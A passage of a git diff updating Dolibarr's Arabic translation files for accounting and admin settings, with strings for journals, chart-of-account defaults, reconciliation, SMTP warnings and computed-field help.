ما هي الفترة المحددة افتراضيا -ACCOUNTING_SELL_JOURNAL=دفتر البيع اليومي -ACCOUNTING_PURCHASE_JOURNAL=دفتر الشراء اليومي -ACCOUNTING_MISCELLANEOUS_JOURNAL=دفتر المتفرقات اليومي +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=دفتر تقرير المصروف اليومي -ACCOUNTING_SOCIAL_JOURNAL=دفتر اليومية الاجتماعي +ACCOUNTING_MISCELLANEOUS_JOURNAL=اليومية العامة ACCOUNTING_HAS_NEW_JOURNAL=له دفتر يوميات جديد +ACCOUNTING_INVENTORY_JOURNAL=المخزون في اليومية +ACCOUNTING_SOCIAL_JOURNAL=دفتر اليومية الاجتماعي ACCOUNTING_RESULT_PROFIT=نتيجة حساب المحاسبي (الربح) ACCOUNTING_RESULT_LOSS=نتيجة حساب المحاسبي (الخسارة) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=دقتر الإغلاق -ACCOUNTING_ACCOUNT_TRANSFER_CASH=حساب التحويل البنكي الانتقالي +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=حساب التحويل البنكي الانتقالي -ACCOUNTING_ACCOUNT_SUSPENSE=حساب الانتظار -DONATION_ACCOUNTINGACCOUNT=حساب تسجيل التبرعات -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=حساب تسجيل الاشتراكات +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=حساب افتراضي لتسجيل إيداع العميل +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=تخزين حساب العميل كحساب فردي في دفتر الأستاذ الفرعي لخطوط الدفعات المقدمة (إذا تم تعطيله ، فسيظل الحساب الفردي لبنود الدَفعة المقدمة فارغًا) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Accounting account by default to register supplier deposit +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=حساب افتراضي للمنتجات المشتراة (يستخدم إذا لم يتم تحديده في ورقة المنتج) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=حساب افتراضي للمنتجات المشتراة في الاتحاد الاوروبي (يستخدم إذا لم يتم تحديده في ورقة المنتج) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=حساب افتراضي للمنتجات المشتراة والمستوردة من الاتحاد الاوروبي (تُستخدم إذا لم يتم تحديدها في ورقة المنتج) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=حساب افتراضي للمنتجات المباعة (يستخدم إذا لم يتم تحديده في ورقة المنتج) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=حساب افتراضي للمنتجات المباعة في الاتحاد الاوروبي (مستخدم إذا لم يتم تحديده في ورقة المنتج) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=حساب افتراضي للمنتجات المباعة والمصدرة من الاتحاد الاوروبي (تُستخدم إذا لم يتم تحديدها في ورقة المنتج) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=حساب افتراضي للخدمات المشتراة (يُستخدم إذا لم يتم تحديده في ورقة الخدمة) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=حساب افتراضي للخدمات المشتراة في الاتحاد الاوروبي (يستخدم إذا لم يتم تحديده في ورقة الخدمة) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=حساب افتراضي للخدمات المشتراة والمستوردة من المجموعة اﻹقتصادية اﻷوروبية(تُستخدم إذا لم يتم تحديدها في ورقة الخدمة) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=حساب افتراضي للخدمات المباعة (يُستخدم إذا لم يتم تحديده في ورقة الخدمة) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=حساب افتراضي للخدمات المباعة في الاتحاد الاوروبي (يُستخدم إذا لم يتم تحديده في ورقة الخدمة) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=حساب افتراضي للخدمات المباعة والمصدرة من الاتحاد الاوروبي (تُستخدم إذا لم يتم تحديدها في ورقة الخدمة) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=نوع الوثيقة Docdate=التاريخ @@ -214,7 +220,8 @@ Codejournal=دفتر اليومية JournalLabel=اسم دفتر اليومية NumPiece=رقم القطعة TransactionNumShort=رقم. العملية -AccountingCategory=مجموعة مخصصة +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=تجميع حسب حساب دفتر الأستاذ العام GroupBySubAccountAccounting=تجميع حسب حساب دفتر الأستاذ الفرعي AccountingAccountGroupsDesc=يمكنك هنا تحديد بعض مجموعات الحساب. سيتم استخدامها لتقارير المحاسبة الشخصية. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=سيؤدي هذا إلى حذف جميع سطور المحاس ConfirmDeleteMvtPartial=سيؤدي هذا إلى حذف المعاملة من المحاسبة (سيتم حذف جميع الأسطر المتعلقة بنفس المعاملة) FinanceJournal=دفتر المالية اليومي ExpenseReportsJournal=دفتر تقارير المصاريف +InventoryJournal=المخزون في اليومية DescFinanceJournal=دفتر المالية اليومي المتضمن لجميع الدفعات عن طريق الحساب المصرفي DescJournalOnlyBindedVisible=هذه طريقة عرض للسجل مرتبطة بالحساب ويمكن تسجيلها في دفتر اليوميات و الأستاذ. VATAccountNotDefined=حساب ضريبة القيمة المضافة غير محدد @@ -262,19 +270,20 @@ ShowSubtotalByGroup=عرض المجموع الفرعي حسب المستوى Pcgtype=مجموعة الحساب PcgtypeDesc=تُستخدم مجموعة الحسابات كمعايير "تصفية" و "تجميع" محددة مسبقًا لبعض التقارير المحاسبية. على سبيل المثال ، يتم استخدام "الدخل" أو "المصاريف" كمجموعات لحسابات المنتجات لإنشاء تقرير المصاريف / الدخل. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=قابل للتسوية TotalVente=المبيعات الإجمالية قبل الضريبة TotalMarge=إجمالي هامش المبيعات -DescVentilCustomer=راجع هنا قائمة بنود فاتورة العميل المرتبطة (أو غير المرتبطة) بحساب المنتج -DescVentilMore=في معظم الحالات ، إذا كنت تستخدم منتجات أو خدمات محددة مسبقًا وقمت بتعيين رقم الحساب على بطاقة المنتج / الخدمة ، فسيكون التطبيق قادرًا على إجراء جميع عمليات الربط بين سطور الفاتورة وحساب مخطط الحسابات الخاص بك ، فقط بنقرة واحدة على الزر "%s" . إذا لم يتم تعيين الحساب على بطاقات المنتج / الخدمة أو إذا كان لا يزال لديك بعض الأسطر غير المرتبطة بحساب ، فسيتعين عليك إجراء ربط يدوي من القائمة " %s ". -DescVentilDoneCustomer=راجع هنا قائمة بنود فواتير العملاء وحساب منتجاتهم -DescVentilTodoCustomer=ربط بنود الفاتورة غير المرتبطة بحساب المنتج -ChangeAccount=قم بتغيير حساب المنتج / الخدمة للبنود المحددة باستخدام الحساب التالي: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=راجع هنا قائمة بنود فاتورة المورد المرتبطة أو غير المرتبطة بعد بحساب المنتج (فقط السجل الذي لم يتم نقله بالفعل في المحاسبة سيكون مرئي) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=راجع هنا قائمة بنود فواتير البائعين وحساباتهم DescVentilTodoExpenseReport=ربط بنود تقرير المصروفات غير المرتبطة بحساب الرسوم DescVentilExpenseReport=راجع هنا قائمة بنود تقرير المصروفات المرتبطة (أو غير المرتبطة) بحساب الرسوم @@ -286,20 +295,21 @@ DescClosure=استشر هنا عدد الحركات حسب الشهر التي OverviewOfMovementsNotValidated=نظرة عامة على الحركات التي لم يتم التحقق من صحتها وإغلاقها AllMovementsWereRecordedAsValidated=تم تسجيل جميع الحركات على أنها محققة ومغلقة NotAllMovementsCouldBeRecordedAsValidated=لا يمكن تسجيل جميع الحركات على أنها تم التحقق من صحتها وقفلها -ValidateMovements=التحقق من صحة السجل وقفله ... +ValidateMovements=التحقق و تقيد الحركة DescValidateMovements=سيتم حظر أي تعديل أو حذف للكتابة والحروف. يجب اعتماد جميع الإدخالات الخاصة بالتمرين وإلا فلن يكون الإغلاق ممكنًا ValidateHistory=ربط تلقائي AutomaticBindingDone=تم إجراء عمليات ربط تلقائية (%s) - الربط التلقائي غير ممكن لبعض السجلات (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=خطأ، لا يمكنك حذف هذا الحساب المحاسبي لأنه مستخدم +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=الحركة غير متوازنة بشكل صحيح. الخصم = %s والائتمان = %s Balancing=موازنة FicheVentilation=بطاقة مرتبطة GeneralLedgerIsWritten=المعاملات مكتوبة في دفتر الأستاذ GeneralLedgerSomeRecordWasNotRecorded=لا يمكن تسجيل بعض المعاملات. إذا لم تكن هناك رسالة خطأ أخرى ، فربما يكون ذلك بسبب تسجيلها في دفتر اليومية بالفعل. NoNewRecordSaved=لا يوجد المزيد من السجلات لنقلها -ListOfProductsWithoutAccountingAccount=قائمة المنتجات غير مرتبطة بأي حساب +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=تغيير الربط Accounted=حسب في دفتر الأستاذ NotYetAccounted=لم يتم تحويلها بعد إلى المحاسبة @@ -322,9 +332,10 @@ AccountingJournalType1=عمليات متنوعة AccountingJournalType2=مبيعات AccountingJournalType3=مشتريات AccountingJournalType4=بنك -AccountingJournalType5=تقرير مصروفات +AccountingJournalType5=تقارير المصاريف AccountingJournalType8=الجرد AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=هذه الدفتر مستخدم بالفعل AccountingAccountForSalesTaxAreDefinedInto=ملاحظة: تم تعريف حساب ضريبة المبيعات في القائمة %s - %s NumberOfAccountancyEntries=عدد الادخالات @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=عدد الحركات ACCOUNTING_DISABLE_BINDING_ON_SALES=تعطيل الربط والتحويل في المحاسبة على المبيعات (لن يتم أخذ فواتير العميل في الاعتبار في المحاسبة) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=تعطيل الربط والتحويل في المحاسبة على المشتريات (لن يتم أخذ فواتير البائعين في الاعتبار في المحاسبة) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=تعطيل الربط والتحويل في المحاسبة على تقارير المصروفات (لن يتم أخذ تقارير المصروفات في الاعتبار في المحاسبة) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=ضع علامة على الخطوط المصدرة كـ (لتعديل سطر ، ستحتاج إلى حذف المعاملة بالكامل وإعادة تحويلها إلى المحاسبة) NotifiedValidationDate=تحقق من صحة الإدخالات التي تم تصديرها وقفلها (نفس التأثير من ميزة "%s" ، ولن يكون تعديل الأسطر وحذفها بالتأكيد ممكنًا) +NotifiedExportFull=Export documents ? DateValidationAndLock=التحقق من صحة التاريخ والقفل ConfirmExportFile=تأكيد إنشاء ملف محاسبي تصدير؟ ExportDraftJournal=تصدير مسودة دفتر اليومية @@ -392,7 +407,7 @@ SaleLocal=بيع محلي SaleExport=بيع تصدير SaleEEC=بيع في الاتحاد الاوروبي SaleEECWithVAT=البيع في EEC مع ضريبة القيمة المضافة ليست فارغة ، لذلك نفترض أن هذا ليس بيعًا داخل الاتحاد والحساب المقترح هو حساب المنتج القياسي. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=ممنوع: تم التحقق من صحة المعاملة و / أو تصديرها. ForbiddenTransactionAlreadyValidated=ممنوع: تم التحقق من صحة المعاملة. ## Dictionary @@ -401,7 +416,11 @@ Calculated=تم حسابه Formula=معادلة ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=غير قابل للتوفيق +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=لم يتم تعديل تسوية AccountancyOneLetteringModifiedSuccessfully=تم تعديل أحد التوفيق بنجاح AccountancyLetteringModifiedSuccessfully=تعديل %s بنجاح @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=تم تعديل أحد ملفات AccountancyUnletteringModifiedSuccessfully=تم تعديل %s بنجاح ## Confirm box -ConfirmMassUnlettering=تأكيد مجمّع غير قابل للتسوية -ConfirmMassUnletteringQuestion=هل أنت متأكد من أنك تريد إلغاء التوفيق بين التسجيلة (السجلات) المحددة %s؟ +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=تأكيد الحذف الضخم ConfirmMassDeleteBookkeepingWritingQuestion=سيؤدي هذا إلى حذف المعاملة من المحاسبة (سيتم حذف جميع الأسطر المتعلقة بنفس المعاملة) هل أنت متأكد من أنك تريد حذف السجل (السجلات) المحددة %s؟ @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=عدم تطابق في التوفيق بين AccountancyErrorMismatchBalanceAmount=الرصيد (%s) لا يساوي 0 AccountancyErrorLetteringBookkeeping=حدثت أخطاء بخصوص المعاملات: %s ErrorAccountNumberAlreadyExists=رقم المحاسبة %s موجود بالفعل +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=مداخيل حسابية @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=كود متعدد العملات (ايديفيز) DateExport=تاريخ التصدير WarningReportNotReliable=تحذير ، هذا التقرير لا يستند إلى دفتر الأستاذ ، لذلك لا يحتوي على معاملة تم تعديلها يدويًا في دفتر الأستاذ. إذا كان تسجيل دفتر اليومية الخاص بك محدثًا ، فسيكون عرض مسك الدفاتر أكثر دقة. ExpenseReportJournal=تقرير دفتر المصاريف -InventoryJournal=دفتر الجرد +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s حساباً diff --git a/htdocs/langs/ar_SA/admin.lang b/htdocs/langs/ar_SA/admin.lang index 16ed55874ab..89adb2792e9 100644 --- a/htdocs/langs/ar_SA/admin.lang +++ b/htdocs/langs/ar_SA/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=ترتيب العميل WarningModuleNotActive=يجب أن يكون النموذج %s مفعل WarningOnlyPermissionOfActivatedModules=فقط التصاريح المتعلقة بالنماذج المنشطة تظهر هنا. يمكنك تفعيل نماذج أخرى في الصفحة الرئيسية-> لإعداد ت-> صفحة النماذج DolibarrSetup=تركيب أو تحديث دوليبار -InternalUser=مستخدم داخلي -ExternalUser=مستخدم خارجي InternalUsers=مستخدمين داخليين ExternalUsers=مستخدمين خارجيين UserInterface=الواجهة العامة @@ -147,6 +145,7 @@ Box=بريمج Boxes=بريمجات MaxNbOfLinesForBoxes=الحد الأعلى لعدد أسطر البريمجات AllWidgetsWereEnabled=جميع البريمجات المتاحة ممكنة +WidgetAvailable=Widget available PositionByDefault=الطلبية الإفتراضية Position=الوضع MenusDesc=يقوم مديرو القائمة بتعيين محتوى شريطي القائمة (الأفقي والعمودي). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=مضيف SMTP / SMTPS (القيمة الافتراضية MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=منفذ SMTP / SMTPS (غير معرّف في PHP على أنظمة شبيهة بنظام Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=مضيف SMTP / SMTPS (غير معرّف في PHP على أنظمة شبيهة بنظام Unix) MAIN_MAIL_EMAIL_FROM=عنوان بريد المرسل لرسائل البريد الإلكترونية التلقائية (القيمة الاولية في ملف اعدادات لغة بي اتش بي %s ) +EMailHelpMsgSPFDKIM=لكي لا يتم وضع البريد من المرسل من نظام دوليبار ضمن البريد الضار ,تأكد ان الخادم مخول بأرسال البريد من هذا العنوان من خلال عدادات SPF & DKIM . MAIN_MAIL_ERRORS_TO=عنوان رسائل البريد الإلكترونية المرجعي لأخطاء الارسال (الحقل "الاخطاء إلى" ) في البريد المرسل MAIN_MAIL_AUTOCOPY_TO= نسخ (نسخة كربونية) كل رسائل البريد الإلكترونية المرسلة الى MAIN_DISABLE_ALL_MAILS=تعطيل جميع عمليات إرسال البريد الإلكتروني (لأغراض الاختبار أو العروض التوضيحية) @@ -323,7 +323,7 @@ ModuleSetup=إعداد وحدة ModulesSetup=الوحدات النمطية / إعداد التطبيق ModuleFamilyBase=نظام ModuleFamilyCrm=إدارة علاقات العملاء (CRM) -ModuleFamilySrm=إدارة علاقات البائعين (VRM) +ModuleFamilySrm=ادارة الموردين(VRM) ModuleFamilyProducts=إدارة المنتج (PM) ModuleFamilyHr=إدارة الموارد البشرية (HR) ModuleFamilyProjects=مشاريع / العمل التعاوني @@ -375,7 +375,7 @@ DoTestSendHTML=اختبار ارسال هتمل ErrorCantUseRazIfNoYearInMask=خطأ، لا يمكن استخدام الخيار @ لإعادة تعيين عداد سنويا إذا تسلسل {} أو {yyyy إنهاء س س س س} ليس في قناع. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=خطأ ، لا يمكن للمستخدم الخيار في حال تسلسل @ (ذ ذ م م)) ((سنة أو ملم)) (لا تخفي. UMask=معلمة جديدة UMask صورة يونيكس / لينكس / بي إس دي نظام الملفات. -UMaskExplanation=تسمح لك هذه المعلمة لتحديد الاذونات التي حددها تقصير من الملفات التي أنشأتها Dolibarr على الخادم (خلال تحميلها على سبيل المثال).
      يجب أن يكون ثمانية القيمة (على سبيل المثال ، 0666 وسائل القراءة والكتابة للجميع).
      م شمال شرق paramètre سرت sous الامم المتحدة لتقييم الأداء ويندوز serveur. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=قم بإلقاء نظرة على صفحة Wiki للحصول على قائمة بالمساهمين ومنظمتهم UseACacheDelay= التخزين المؤقت للتأخير في الرد على الصادرات ثانية (0 فارغة أو لا مخبأ) DisableLinkToHelpCenter=إخفاء الارتباط " بحاجة إلى مساعدة أو دعم " في صفحة تسجيل الدخول @@ -439,8 +439,10 @@ Unique=Unique Boolean=منطقي (مربع اختيار واحد) ExtrafieldPhone = هاتف ExtrafieldPrice = الأسعار +ExtrafieldPriceWithCurrency=السعر بالعملة ExtrafieldMail = Email ExtrafieldUrl = عنوان Url +ExtrafieldIP = الملكية الفكرية ExtrafieldSelect = Select list ExtrafieldSelectList = Select from table ExtrafieldSeparator=فاصل (ليس حقلاً) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=مربعات الاختيار ExtrafieldCheckBoxFromList=مربعات الاختيار من الجدول ExtrafieldLink=رابط إلى كائن ComputedFormula=المجال المحسوب -ComputedFormulaDesc=يمكنك هنا إدخال صيغة باستخدام خصائص أخرى للكائن أو أي ترميز PHP للحصول على قيمة محسوبة ديناميكية. يمكنك استخدام أي صيغ متوافقة مع PHP بما في ذلك "؟" عامل الشرط ، والعنصر العام التالي: $ db ، $ conf ، $ langs ، $ mysoc ، $ user ، $ object .
      تحذير : قد تتوفر بعض خصائص $ object فقط. إذا كنت بحاجة إلى خصائص غير محملة ، فما عليك سوى إحضار الكائن إلى الصيغة الخاصة بك كما في المثال الثاني.
      يعني استخدام حقل محسوب أنه لا يمكنك إدخال أي قيمة لنفسك من الواجهة. أيضًا ، إذا كان هناك خطأ في بناء الجملة ، فقد لا ترجع الصيغة شيئًا.

      مثال على الصيغة:
      $ object-> id < 10 ? round($object-> id / 2، 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc- 2> zip، 1 )

      مثال لإعادة تحميل الكائن
      (($ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id؟ $ obj-> id؟ > rowid: $ object-> id))> 0))؟ $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      مثال آخر للصيغة لفرض تحميل الكائن وكائنه الأصلي:
      (($ reloadedobj = $ dbj = )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = مشروع جديد ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))؟ $ secondloadedobj-> ref: "المشروع الرئيسي غير موجود" +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=تخزين المجال المحسوب ComputedpersistentDesc=سيتم تخزين الحقول الإضافية المحسوبة في قاعدة البيانات ، ومع ذلك ، سيتم إعادة حساب القيمة فقط عند تغيير كائن هذا الحقل. إذا كان الحقل المحسوب يعتمد على كائنات أخرى أو بيانات عالمية ، فقد تكون هذه القيمة خاطئة !! ExtrafieldParamHelpPassword=يعني ترك هذا الحقل فارغًا أنه سيتم تخزين هذه القيمة بدون تشفير (يجب إخفاء الحقل فقط بنجمة على الشاشة).
      اضبط "تلقائي" لاستخدام قاعدة التشفير الافتراضية لحفظ كلمة المرور في قاعدة البيانات (عندئذٍ ستكون القيمة المقروءة هي التجزئة فقط ، ولا توجد طريقة لاسترداد القيمة الأصلية) @@ -490,7 +492,7 @@ DisplayCompanyManagers=عرض أسماء المديرين DisplayCompanyInfoAndManagers=عرض عنوان الشركة وأسماء المديرين EnableAndSetupModuleCron=إذا كنت تريد إنشاء هذه الفاتورة المتكررة تلقائيًا ، فيجب تمكين الوحدة النمطية * %s * وإعدادها بشكل صحيح. بخلاف ذلك ، يجب أن يتم إنشاء الفواتير يدويًا من هذا النموذج باستخدام الزر * إنشاء *. لاحظ أنه حتى إذا قمت بتمكين الإنشاء التلقائي ، فلا يزال بإمكانك تشغيل الإنشاء اليدوي بأمان. لا يمكن إنشاء نسخ مكررة لنفس الفترة. ModuleCompanyCodeCustomerAquarium=%s متبوعًا بكود العميل لكود محاسبة العميل -ModuleCompanyCodeSupplierAquarium=%s متبوعًا بكود البائع لكود محاسبة البائع +ModuleCompanyCodeSupplierAquarium=%sرقم المورد يتبعة رقم حسابه في الحسابات ModuleCompanyCodePanicum=قم بإرجاع رمز محاسبة فارغ. ModuleCompanyCodeDigitaria=إرجاع رمز محاسبة مركب وفقًا لاسم الطرف الثالث. يتكون الرمز من بادئة يمكن تحديدها في الموضع الأول متبوعًا بعدد الأحرف المحددة في رمز الجهة الخارجية. ModuleCompanyCodeCustomerDigitaria=%s متبوعًا باسم العميل المقطوع بعدد الأحرف: %s لكود محاسبة العميل. @@ -501,7 +503,8 @@ WarningPHPMail=تحذير: يستخدم الإعداد لإرسال رسائل WarningPHPMailA=- يزيد استخدام خادم مزود خدمة البريد الإلكتروني من مصداقية بريدك الإلكتروني ، لذا فهو يزيد من إمكانية التسليم دون أن يتم وضع علامة عليه كرسائل اقتحامية WarningPHPMailB=- لا يسمح لك بعض مزودي خدمة البريد الإلكتروني (مثل Yahoo) بإرسال بريد إلكتروني من خادم آخر غير الخادم الخاص بهم. يستخدم الإعداد الحالي الخاص بك خادم التطبيق لإرسال بريد إلكتروني وليس خادم مزود البريد الإلكتروني الخاص بك ، لذلك سيطلب بعض المستلمين (المتوافق مع بروتوكول DMARC المقيد) ، مزود البريد الإلكتروني الخاص بك ما إذا كان بإمكانهم قبول بريدك الإلكتروني وبعض موفري البريد الإلكتروني (مثل Yahoo) قد تستجيب بـ "لا" لأن الخادم ليس خادمهم ، لذلك قد لا يتم قبول عدد قليل من رسائل البريد الإلكتروني المرسلة للتسليم (كن حذرًا أيضًا من حصة الإرسال لمزود البريد الإلكتروني الخاص بك). WarningPHPMailC=- يعد استخدام خادم SMTP الخاص بموفر خدمة البريد الإلكتروني الخاص بك لإرسال رسائل البريد الإلكتروني أمرًا مثيرًا للاهتمام أيضًا ، لذا سيتم أيضًا حفظ جميع رسائل البريد الإلكتروني المرسلة من التطبيق في دليل "البريد المرسل" الخاص بصندوق البريد الخاص بك. -WarningPHPMailD=كذلك ، يوصى بتغيير طريقة إرسال رسائل البريد الإلكتروني إلى القيمة "SMTP". إذا كنت تريد حقًا الاحتفاظ بالطريقة الافتراضية "PHP" لإرسال رسائل البريد الإلكتروني ، فما عليك سوى تجاهل هذا التحذير أو إزالته عن طريق ضبط MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP ثابتًا على 1 في Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=إذا كان موفر البريد الإلكتروني SMTP بحاجة إلى تقييد عميل البريد الإلكتروني لبعض عناوين IP (نادر جدًا) ، فهذا هو عنوان IP الخاص بوكيل مستخدم البريد (MUA) 